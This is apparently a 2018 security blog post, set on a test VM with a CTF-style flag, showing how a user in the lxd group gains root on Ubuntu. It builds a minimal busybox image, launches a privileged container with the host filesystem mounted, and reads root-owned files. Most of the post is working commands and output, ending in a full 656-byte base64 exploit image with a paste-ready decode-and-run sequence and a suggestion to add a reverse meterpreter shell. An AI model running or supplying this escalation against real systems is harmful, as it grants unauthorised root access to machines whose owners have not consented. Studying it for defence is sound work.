About me and this Blog

Tuesday, 16 October 2018

LXC Container Privilege Escalation in More Restrictive Environments


It is well-known that if you gain RCE as a user in the lxd group you can quite easily escalate your privileges to that of root. An example is at https://reboare.github.io/lxd/lxd-escape.html.

However, most examples on the Internet use something like the following to create the container:

lxc init ubuntu:16.04 test -c security.privileged=true

The problem with this is that you may be on a system that has restrictive network connectivity and no installed images; thus such a command may fail. Furthermore, for whatever reason, your RCE may not be an actual shell.

The easiest solution to this is to create your own image and upload that via an appropriate technique such as writing a base64 encoded file using echo and then decoding it; and one of the best of these is to use is a busybox template. We, however, aim to do better than that.

First, the busybox template on our test VM (running Ubuntu 18.04).

root:~# lxc-create m0noc -t busybox
root:~# lxc-ls -f
NAME  STATE   AUTOSTART GROUPS IPV4 IPV6 UNPRIVILEGED 
m0noc STOPPED 0         -      -    -    false

The actual container is created in /var/lib/lxc thus.

root:~# cd /var/lib/lxc/m0noc/rootfs
root:/var/lib/lxc/m0noc/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero

We need to take a copy of the root filesystem as our baseline.

root:/var/lib/lxc/m0noc/rootfs# cd ..
root:/var/lib/lxc/m0noc# tar cfj ~/busyboxOrig.tar.bz2 rootfs
root:/var/lib/lxc/m0noc# cd ; mkdir container ; cd container
root:~/container# tar xfj ../busyboxOrig.tar.bz2 
root:~/container# ls
rootfs

We now need to create a minimal yaml metadata file for lxc.

root:~/container# echo architecture: x86_64 > metadata.yaml
root:~/container# echo creation_date: 1424284563 >> metadata.yaml
root:~/container# cat metadata.yaml
architecture: x86_64
creation_date: 1424284563

Now zip it all up and copy over to our real target. Note the size of the image. Whilst a lot smaller than an Ubuntu image it is still a good size. Yes; I'm using the same box for the lxc user demo; this wouldn't normally be the case.

root:~/container# tar cfj ../m0nocBusybox.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocBusybox.tar.bz2 
-rw-r--r-- 1 root root 980879 Oct 16 12:58 m0nocBusybox.tar.bz2
root:~# cp m0nocBusybox.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox.tar.bz2

So as our lxc user lets make use of the new container image to gain access to a root.txt flag in the main vm.

bob:~$ id -a
uid=1002(bob) gid=1006(bob) groups=1006(bob),108(lxd)
bob:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied
bob:~$ lxc image import m0nocBusybox.tar.bz2 --alias bobImage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: 13e9fb7ead9f0f09785b4e3203cfc52f42cd6ecdf371dbb5f07435c3d50bd560
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- cat /r/root/root.txt
sup3rS5cr3tF1AgThatN0OneCanSee

Awesome. Now let's clear up.

bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

There are numerous ways to shrink the image significantly, the best of which is to use what is already there. Remember, a key differental between what we are doing and a normal container is that we want to increase our access. So, if we are mounting the entire filesystem then what we need is most probably already there.

In the busybox image, init and busybox are the one and the same hardlink (nb: the inode is going to be different for you):

root:~/container# find . -ls | fgrep 788059
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/sbin/init
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/bin/busybox

So lets take this step-by-step. First let's replace /sbin/init (the program lxc will run) with a symlink to the host's busybox. Within the container this will be in /r/bin/.

root:~/container/rootfs/sbin# ls -l 
total 1976
-rwsr-sr-x 2 root root 2022480 Oct 16 12:50 init
root:~/container/rootfs/sbin# rm init
root:~/container/rootfs/sbin# ln -s ./../bin/busybox init

Zip it up as before. Note that as we have broken the hard link the file size is still about the same.

root:~/container/rootfs/sbin# cd ../..
root:~/container# tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml 
root:~/container# cd ..
root:~# ls -l m0nocBusybox2.tar.bz2 
-rw-r--r-- 1 root root 984369 Oct 16 13:25 m0nocBusybox2.tar.bz2
root:~# cp m0nocBusybox2.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox2.tar.bz2

This time let's go into a shell when we run the exploit.

bob:~$ lxc image import m0nocBusybox2.tar.bz2 --alias bobImage
Image imported with fingerprint: 9c6dec86d91932575b763fa899cbf3c4f3760101418cb51b1d9e78571e6d392a
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh


BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
~ # /r/usr/bin/file /sbin/init
/bin/sh: /r/usr/bin/file: not found
~ # ls -l /r/usr/bin/file
-rwxr-xr-x    1 root     root         22792 Jun 13 17:09 /r/usr/bin/file

What happened here? It works... but doesn't.

Let's have a look outside of the container.

root:~# file /usr/bin/file
/usr/bin/file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ba74252751fddf2ef1b1d3bd2098c95550eee976, stripped

If you're use to linux, the (potential) issue is obvious. Look at the interpreter for the executable. As we haven't delt with the rest of the container that interpreter probably isn't there. Lets check.

~ # ls /lib64/ld-linux-x86-64.so.2
ls: /lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls /r/lib64/ld-linux-x86-64.so.2
ls: /r/lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls -l /r/lib64/ld-linux-x86-64.so.2
lrwxrwxrwx    1 root     root            32 Apr 16  2018 /r/lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.27.so
~ # ls /r/lib/x86_64-linux-gnu/ld-2.27.so
/r/lib/x86_64-linux-gnu/ld-2.27.so

Look like this is right but wasn't the whole story. Not only wasn't it there but the host OS is using absolute paths in it's symbolic links. Lets run a quick test in the container.

~ # /r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init
/r/usr/bin/file: error while loading shared libraries: libmagic.so.1: cannot open shared object file: No such file or directory

We're making progress. We are running /usr/bin/file but now have a so library issue. We can fix this ad-hoc by setting LD_LIBRARY_PATH or let's finish off re-engineering the image to something more useful.

After clearing up this container and image, we note that /dev has the correct devices loaded by the system so we can junk the metadevices in the virtual root.

root:~/container/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero
root:~/container/rootfs# rm console null ram0 tty tty0 tty1 tty5 urandom zero

Next, we note that it is probably easier to just keep /sbin as we have /sbin/init. I'll leave it as an exercise to improve on this.

We also note that we don't need home, mnt or selinux in this case.

root:~/container/rootfs# rmdir home mnt selinux

Finally we can symlink some of the other key directories to the host version to resolve our dynamic linker issue. It goes without saying; *make such you delete the right one*

root:~/container/rootfs# pwd
/root/container/rootfs
root:~/container/rootfs# rm -r usr bin lib lib64
root:~/container/rootfs# for a in usr bin lib lib64; do ln -s ./r/$a; done

We can now create a new container image.

root:~/container# tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocFinal.tar.bz2 
-rw-r--r-- 1 root root 656 Oct 16 13:41 m0nocFinal.tar.bz2
root:~# base64 -w 0 m0nocFinal.tar.bz2 ; echo
QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng=

Let's test our 656 byte exploit.

bob:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
bob:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh
# cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
# file /sbin/init
/sbin/init: symbolic link to ./../bin/busybox
# file ./../bin/busybox
./../bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=523ce489921940867ee1a8631dbfdd5753d84688, stripped
# exit
bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

So we now have a 656 byte lxc priv-esc which requires no external access to an image server or pre-installed images; which is a vast improvement of the normal method.

Whilst I usually find busybox with lxc this may not always be the case. There are other choices that may work out. Alternatively you could craft your own init or try and incorporate a metaspolit output with some lxc network config tweaks, for example, to get a reverse meterpreter. Experiment with ideas and hack the planet (if you have permission, of course ;-) )